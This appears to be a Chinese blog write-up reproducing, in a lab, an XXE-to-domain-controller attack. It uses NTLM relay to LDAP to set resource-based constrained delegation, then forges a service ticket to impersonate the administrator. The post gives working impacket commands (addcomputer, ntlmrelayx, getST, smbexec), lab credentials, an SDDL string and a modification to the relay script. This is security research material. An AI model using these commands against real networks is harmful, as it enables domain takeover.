XXE到域控复现

前言

前面学习了基于资源的约束委派,也遇到了一些问题,就是域账户中继后无法成功修改委派属性,这里用服务账户权限测试一下

环境搭建

主机机器名ip用户密码版本
域控ad.test.com192.168.164.147administratorAa1234win2012r2
域内机器user.test.com192.168.164.129user1Uu1234.win2008r2
域内机器user2.test.com192.168.164.150user2未知win2008r2

在user2.test.com上搭建webdav
jdk-7u80-windows-x64
Tomcat5.0.28 https://archive.apache.org/dist/tomcat/tomcat-5/v5.0.28/bin/jakarta-tomcat-5.0.28.zip
psexec.exe
需要给模拟的vps修改绑定host,并且使用代理中继

psexec -i -s cmd

在这里插入图片描述

漏洞复现

首先通过域账户添加一个计算机账户

python3 addcomputer.py -method SAMR -dc-ip 192.168.164.147 -computer-name rbcd1 -computer-pass 123456 "test.com/user1:Uu1234."

在这里插入图片描述

开启中继

python3 ntlmrelayx.py -t ldap://ad.test.com:389 -debug --delegate-access --escalate-user rbcd1\$

发送数据包
因为javasun.net.www.protocol.http.HttpURLConnection类在响应401时,会根据响应判断使用哪种认证模式,这个时候我们可以返回要求使用ntlm认证,这样拿到目标机器的ntlm hash(参见Ghidra 从 XXE 到 RCE),继而通过中继其ntlm链接域控ldap添加基于资源的约束委派(我改我自己)。
在这里插入图片描述

获取票据

python3 getST.py -dc-ip 192.168.164.147 test/rbcd1\$:123456 -spn cifs/user2.test.com -impersonate administrator

加载票据使用

export KRB5CCNAME=administrator.ccache
python3 smbexec.py -no-pass -k user2.test.com

在这里插入图片描述

使用域用户尝试

可以看到这里使用机器账户权限时可以使用的,这里使用用户权限测试一下
首先删除修改的属性
在这里插入图片描述
使用用户权限启动tomcat
在这里插入图片描述
再次中继
在这里插入图片描述
可以看到并没有成功
我们手工修改,使用user2账户
在这里插入图片描述
尝试获取票据
在这里插入图片描述
失败了
查看rbcd1的sid
在这里插入图片描述
给user2机器配置属性

O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;s-1-5-21-1476105802-4187504772-1115168634-1112)

在这里插入图片描述
在这里插入图片描述
尝试获取票据
在这里插入图片描述
成功,这里确实和ateam文章说的一样,创建计算机的用户有权限来修改用户的msDS-AllowedToActOnBehalfOfOtherIdentity属性,但是在使用中继的时候存在一些问题。
其实可以发现,这里应该时中继脚本存在问题,通过定位ldap操作的未知,发现这里

        if self.config.delegateaccess and self.username[-1] == '$':
            self.delegateAttack(self.config.escalateuser, self.username, domainDumper, self.config.sid)
            return

判断了用户是否为机器账户,如果是机器账户,则进入delegateAttack
这里我们可以修改self.username的值为要被设置的机器账户
在这里插入图片描述
重新中继即可
在这里插入图片描述
尝试一下另一台机器
在这里插入图片描述

self.username = 'USER1$'

在这里插入图片描述
可以看到用户无修改权限,所以直接报错

参考文章

https://y4er.com/post/xxe-to-dc-replay/
https://blog.ateam.qianxin.com/post/zhe-shi-yi-pian-bu-yi-yang-de-zhen-shi-shen-tou-ce-shi-an-li-fen-xi-wen-zhang/#41-webdav-xxe

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
PentesterLab XXE是一个关于XML注入(XXE)的培训平台,它提供了关于XXE漏洞的理论知识和实际演练。XXE漏洞是一种安全漏洞,利用XML解析器对外部实体的处理不当,使攻击者能够读取本地文件、执行远程请求等。通过学习和实践,可以帮助开发人员和安全专家了解并防范XXE漏洞的风险。在PentesterLab XXE的课程中,可以学习到XXE漏洞的原理、漏洞代码编写、利用任意文件读取等技术,以及防御XXE漏洞的策略。对于防御XXE漏洞,可以采取禁用外部实体加载的方法,如在PHP中使用libxml_disable_entity_loader(true),在Java中使用setExpandEntityReferences(false),在Python中使用etree.XMLParser(resolve_entities=False)等。此外,对用户提交的XML数据进行过滤,过滤掉可能存在XXE漏洞的关键词,如<!DOCTYPE、<!ENTITY、SYSTEM、PUBLIC等。通过学习和实践,可以提高对XXE漏洞的识别能力和防御能力。<span class="em">1</span><span class="em">2</span><span class="em">3</span> #### 引用[.reference_title] - *1* *2* *3* [XML 外部实体注入---XXE](https://blog.csdn.net/weixin_45677145/article/details/111638708)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v92^chatsearchT3_1"}}] [.reference_item style="max-width: 100%"] [ .reference_list ]

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值